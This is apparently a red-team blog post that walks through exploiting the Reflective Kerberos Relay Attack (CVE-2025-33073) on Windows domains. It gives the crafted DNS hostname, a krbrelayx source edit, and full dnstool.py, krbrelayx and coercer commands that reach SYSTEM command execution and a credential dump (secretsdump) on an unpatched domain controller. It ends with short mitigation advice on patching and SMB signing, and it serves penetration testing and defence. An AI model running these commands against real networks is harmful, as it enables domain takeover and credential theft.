Attack Explanation

On June 11, 2025 RedTeam Pentesting published attack details for the Reflective Kerberos Relay Attack in a whitepaper and a blog post. The vulnerability is tracked as CVE-2025-33073 and was patched in the June 10, 2025 Patch Tuesday update.

I’ve been surprised this hasn’t gotten more attention. With internal network access and credentials of any domain user, it results in SYSTEM access to any unpatched domain-joined Windows machine that doesn’t have SMB signing enforced. It does have an official patch, and in a perfect world, everything will be up-to-date and enforce SMB signing. Unfortunately, we live in the real world, and we’ll be exploiting this regularly for years to come.

The blog and whitepaper do a great job of explaining the inner workings that make this attack possible. At a high level, an attacker needs to:

  1. Add a DNS record (or spoof responses to DNS queries) for their attacker machine’s IP. The new hostname needs to be “<victim hostname>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAA”. Kerberos authentication requires an SPN target, and this abuses a trick discovered by James Forshaw from Google Project Zero where that base64 junk is removed in the SPN check (so it uses only the <victim hostname> part to verify SPN) but then the base64 junk is still included for the network connection, which resolves to the attacker machine.
  2. Coerce SMB Kerberos authentication from the victim machine with any of the various coercion attacks.
  3. Use Dirk-jan Mollema’s krbrelayx tool (with one minor code edit) to catch the Kerberos authentication attempt and reflect it back to the victim, where for confusing reasons it results in SYSTEM access.

In most environments, these steps can be done with any domain user.

The edit to krbrelayx is minor and is explained in the whitepaper. Lines 157-159 of krbrelayx/lib/servers/smbrelayserver.py need to be changed so it doesn’t advertise NTLMSSP authentication as an option, forcing Kerberos instead. It should look like below, don’t miss the closing `])` on line 158.

157     blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158                     MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5'])])#,
159                     #MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])

Exploitation

Exploiting this in my lab environment was simple and straightforward. I turned off SMB signing on my domain controller to honor all the times I’ve seen that in client environments and been initially surprised and then wondered why I’m still surprised by it.

With a default low-priv domain user, I used the krbrelayx dnstool.py to add a DNS record for my attacker machine (10.10.10.12). As the victim will be DC01 (10.10.10.10), the new hostname is “dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAA”. In environments with Azure managed DNS, dnstool.py will need the `–legacy` flag.

python3 dnstool.py -u '[domain\user]' -p '[pass]' -r '[victimhostname]1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' --action add -d [attacker IP] [DC IP]

Depending on the environment, adding or spoofing a DNS record may take a bit more work or exploration. Many Active Directory setups are as straightforward as my lab though. Make sure to clean up records as well – the same dnstool.py command with ‘remove’ instead of ‘add’ will do the trick but usually requires admin permissions, coordinate with the asset owner as necessary.

I started my modified krbrelayx, set to relay authentication to SMB on the target DC01 (IMPORTANT: Kerberos requires a hostname or FQDN, using IP won’t work) and use that relayed auth to execute the whoami command as proof of concept. 

python3 krbrelayx.py -t smb://[victimhostname] -c whoami -debug

With krbrelayx listening, I coerced SMB authentication with the coercer tool, asking DC01 to authenticate to my new hostname. There are approximately one million coercion flaws at this point, many of which have been deemed no-fix by Microsoft and only require valid domain creds – any that coerce SMB authentication can be used. Some environments require adding the domain at the end of the new attacker hostname (e.g. ‘[victimhostname]1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.ezdomain.local’)

coercer coerce -u [user] -p '[pass]' -d [domain] -t [victim IP] -l '[victimhostname]1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA'

The coercion works, DC01 authenticates back to my krbrelayx listener, which relays/reflects it back to SMB on DC01 and successfully executes whoami as SYSTEM.

It should be noted, as seen in the debug output, this default krbrelayx command execution is dirty and may be flagged by EDR on the victim, but the authentication itself won’t be and there are plenty of alternative actions once authenticated. Leaving out the -c command in krbrelayx will secretsdump the victim by default.

Again, this appears to work against any Windows 10/11 and Server 2019-2025 that hasn’t applied the June 10th patch and doesn’t enforce SMB signing, as exploitation is not complex. Expect to be able to abuse this in many environments in the near term.

Mitigations

Two things you should be doing everywhere already: 

  1. Patch! 
  2. Enforce SMB signing (plus LDAP signing, EPA for ADCS HTTP, and every other mitigation against relay attacks).
Author Image

About the Author

Ray Blasko is the Technical Director for offensive operations at BreakPoint Labs and a Red Team Operator for a DoD-certified Red Team, responsible for assessing and securing critical ICS/SCADA assets. He is recognized as a subject matter expert in both attacking and defending IT and OT environments, and he excels at resolving the technical and strategic issues that arise in protecting critical infrastructure. Ray holds numerous professional certifications and regularly presents at DoD Red Team conferences, trade conventions, and information security events.